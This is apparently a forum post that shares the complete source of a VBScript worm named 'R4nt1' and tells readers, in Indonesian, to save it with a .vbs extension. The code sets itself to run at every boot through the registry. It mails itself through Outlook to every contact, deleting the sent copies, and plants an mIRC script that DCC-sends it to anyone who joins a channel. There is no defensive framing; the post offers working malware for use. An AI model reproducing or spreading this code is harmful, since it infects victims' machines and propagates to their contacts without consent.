R4nt1 Virus

badwolves1986 Vbs
On Error Resume Next
Set ivhnultmobv = CreateObject("WScript.Shell")
set zxrbwszevvp=createobject("scripting.filesystemobject")
zxrbwszevvp.copyfile wscript.scriptfullname,zxrbwszevvp.GetSpecialFolder(0)& "\R4nt1.vbs"
ivhnultmobv.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysBoot","wscript.exe "&zxrbwszevvp.GetSpecialFolder(0)& "\R4nt1.vbs %"
if ivhnultmobv.regread ("HKCU\software\R4nt1\mailed") <> "1" then
urazkvhkioq()
end if
if ivhnultmobv.regread ("HKCU\software\R4nt1\mirqued") <> "1" then
xijnsqemwgp()
end if
Function urazkvhkioq()
On Error Resume Next
Set mhxccbdwswl = CreateObject("Outlook.Application")
If mhxccbdwswl= "Outlook"Then
Set srzbdyltphy=mhxccbdwswl.GetNameSpace("MAPI")
For Each zjyahmwdxqe In srzbdyltphy.AddressLists
If zjyahmwdxqe.AddressEntries.Count <> 0 Then
For poctcvxkxcz= 1 To zjyahmwdxqe.AddressEntries.Count
Set ihsdqmkqyfq = zjyahmwdxqe.AddressEntries(poctcvxkxcz)
Set kpbynoeorvp = mhxccbdwswl.CreateItem(0)
kpbynoeorvp.To = ihsdqmkqyfq.Address
kpbynoeorvp.Subject = "R4nt1"
kpbynoeorvp.Body = "hi virus ini sudah menyebar di komputer ini jadi segera di remove"
kpbynoeorvp.Attachments.Add zxrbwszevvp.GetSpecialFolder(0)& "\R4nt1.vbs"
kpbynoeorvp.DeleteAfterSubmit = True
If kpbynoeorvp.To <> "" Then
kpbynoeorvp.Send
End If
Next
End If
Next
ivhnultmobv.regwrite "HKCU\software\R4nt1\mailed", "1"
end if
End Function
Function xijnsqemwgp
On Error Resume Next
if zxrbwszevvp.fileexists("c:\Windows\System32\R4nt1.ini") then MircLoc="c:\Windows\System32"
if zxrbwszevvp.fileexists("c:\mirc32\System32\R4nt1.ini") then MircLoc="c:\Windows\System32"
Programfilesdir=ivhnultmobv.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
if zxrbwszevvp.fileexists(Programfilesdir & "\R4nt1.ini") then MircLoc=Programfilesdir & "\System32"
set fkkjmxbetaa = zxrbwszevvp.CreateTextFile(MampusLoc & "\script.ini", True)
fkkjmxbetaa.writeline "n0=on 1:JOIN:#:{"
fkkjmxbetaa.writeline "n1=  /if ( $nick == $me ) { halt }"
fkkjmxbetaa.writeline "n2=  /.dcc send $nick C:\WINDOWS\R4nt1.vbs"
fkkjmxbetaa.writeline "n3=}"
fkkjmxbetaa.close
ivhnultmobv.regwrite "HKCU\software\R4nt1\Mirqued", "1"
end function


Save dengan Extensi R4nt1.vbs

Nama Virus Ini RANTI ^_^
my Inspirate